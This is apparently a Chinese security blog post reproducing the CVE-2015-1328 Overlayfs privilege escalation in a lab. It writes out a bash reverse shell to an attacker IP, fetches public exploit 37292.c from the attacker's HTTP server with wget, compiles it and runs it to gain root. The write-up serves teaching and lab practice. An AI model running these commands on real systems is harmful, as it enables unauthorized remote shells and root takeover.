CVE-2015-1328Overlayfs内核本地提权复现

admin 2026-05-18 05:10:02 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详细记录了CVE-2015-1328(LinuxOverlayfs内核权限绕过漏洞)的完整复现过程。通过KaliLinux攻击Ubuntu12.04.5靶机,演示了从建立反弹Shell、系统信息收集(uname/catproc/version)、搜索漏洞利用代码(searchsploit)、传输漏洞文件(python-mhttp.server)到编译执行提权(gcc-oexp)的全流程。关键发现是3.13.0-32-generic内核存在权限校验缺陷,最终通过运行编译后的exp成功获取root权限。 综合评分: 85 文章分类: 漏洞分析,渗透测试,红队,内网渗透,实战经验


cover_image

CVE-2015-1328 Overlayfs内核本地提权复现

原创

晨星安全团队 晨星安全团队

晨星安全团队

2026年5月17日 16:52 湖南

在小说阅读器读本章

去阅读

overlayfs内核提权(CVE-2015-1328)

漏洞简介

CVE-2015-1328 是 Linux Overlayfs 文件系统存在的内核权限绕过漏洞。

由于内核对 Overlayfs 挂载操作的权限校验存在逻辑缺陷,低权限本地用户可利用该缺陷绕过系统权限限制,实现本地提权至 root 管理员权限。

实验环境

一台 KaliLinux(攻击者)和一台 Ubuntu 12.04.5(靶标)

复现过程

建立反弹 Shell

在靶标上手动创建反弹 Shell 模拟已进入内网情况

bash -i >& /dev/tcp/192.168.41.151/6767 0>&1

bash -i

  • 启动一个 交互式 bash shell (-i 代表 interactive)
  • 这样子进程不会只是执行一次命令后退出,而是会等待用户输入

/dev/tcp/192.168.41.151/6767

  • 在 bash 内置的特殊文件系统中,/dev/tcp/HOST/PORT 表示一个 TCP 连接
  • 当你尝试对它进行重定向时,bash 会尝试连接指定的 IP 和端口
  • 这里就是:尝试建立到 192.168.41.151:6767 的 TCP 连接

>&

  • 这是 标准输出和标准错误的重定向
  • >& target 表示把 stdout (1) 和 stderr (2) 一起重定向到目标
  • 在这里,目标是 /dev/tcp/192.168.41.151/6767,即远程 TCP 连接

0>&1

  • 把 标准输入 (0) 重定向到 标准输出 (1)
  • 而标准输出已经被重定向到远程 TCP 连接,因此输入也会来自那个连接

综合效果

  • 启动一个交互式 bash shell (bash -i)
  • 该 shell 的输入、输出、错误流都被重定向到远程 TCP 连接 (192.168.41.151:6767)
  • 结果:一旦远程主机在该端口上监听,执行这条命令的机器就会反向连接过去,并且把一个交互式 shell 提供给远程主机

KaliLinux 监听

系统信息收集

显示系统的内核和系统信息

uname -a

Linux→ 内核名称 (kernel name)

ubuntu → 主机名 (hostname)

3.13.0-32-generi → 内核发行版本 (kernel release)

  • 3.13.0 → 主版本号
  • -32 → 修订版本号
  • -generic → 内核构建类型(通用版,Ubuntu 默认)

#57~precise1-Ubuntu → 内核编译版本号 (build number)

  • #57 → 这是第 57 次构建
  • precise1-Ubuntu → Ubuntu 针对 12.04 LTS (Precise Pangolin) 发布的内核

SMP → Symmetric MultiProcessing,支持多核 CPU

Tue Jul 15 03:50:54 UTC 2014 → 内核的编译时间

i686 i686 i386

  • i686 → CPU 类型(Intel 686 级别,表示 32 位 CPU 架构)
  • 第二个 i686 → machine 硬件名称
  • i386 → 表示兼容 32 位 i386 架构

说明这是一个 32 位 Ubuntu 系统

GNU/Linux → 操作系统名称

显示 Linux 内核版本信息

cat /proc/version

Linux version 3.13.0-32-generic → 内核版本号:3.13.0-32-generic(buildd@toyol) → 内核构建时使用的构建账号和主机名:

  • buildd 是 Ubuntu 自动构建系统的用户
  • toyol 是构建服务器的主机名

(gcc version 4.6.3 (Ubuntu/Linaro 4.6.3-1ubuntu5)) → 内核编译时所用的 GCC 编译器版本:4.6.3,来自 Ubuntu/Linaro

#57~precise1-Ubuntu → 内核构建号:第 57 次构建,适配 Ubuntu 12.04 (Precise Pangolin)

SMP → 表示支持对称多处理 (Symmetric MultiProcessing),即多核 CPU

Tue Jul 15 03:50:54 UT → 内核编译时间(UTC 时间)

检查是否有 GCC(在提权前忘记敲了,补一张提权后的)

gcc

出现这个报错是因为我们没有提供要编译的文件,可见靶机有 GCC

查找漏洞利用代码

搜索前面收集到的内核信息,查找可利用的提权漏洞

searchsploit Linux ubuntu 3.13.0

searchsploit 是 Exploit Database (Exploit-DB) 提供的一个命令行搜索工具

它允许你在本地离线搜索 漏洞利用代码 (exploits) 和 漏洞 PoC (proof-of-concept)

因为有 GCC,所以使用第一个 .c 来编译提权,先看看路径

locate linux/local/37292.c

locate

  • 是一个基于数据库的文件搜索命令
  • 它会在 mlocate.db 或 updatedb 生成的索引库里查找匹配路径的文件,而不是逐目录扫描(所以速度 比 find 快很多)

因为要想办法在靶机上执行这个文件提权,所以先拷贝到根目录下再用 Python 开启个 http.server 传过去 (根目录更方便些)

漏洞代码传输

cp /usr/share/exploitdb/exploits/linux/local/37292.c .

开启服务器

python -m http.server 8989

python -m

  • -m 参数表示以模块方式运行
  • 这里调用的是 http.server 模块

http.server

  • Python 标准库自带的一个简易 HTTP 服务器
  • 默认会把当前目录作为网站根目录

8989

  • 指定端口号(默认是 8000,这里改成了 8989
  • 启动后浏览器访问 http://<IP>:8989/ 就能看到当前目录下的文件

再用 wget 访问下载我们的 37292.c 文件

wget 192.168.41.151:8989/37292.c

编译执行提权

使用 GCC 编译 C 文件

gcc -o exp 37292.c

-o 表示输出文件名 查看是否有可执行权限

运行文件提权成功

./exp

-END-


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:晨星安全团队 晨星安全团队 晨星安全团队《CVE-2015-1328 Overlayfs内核本地提权复现》

评论:0   参与:  0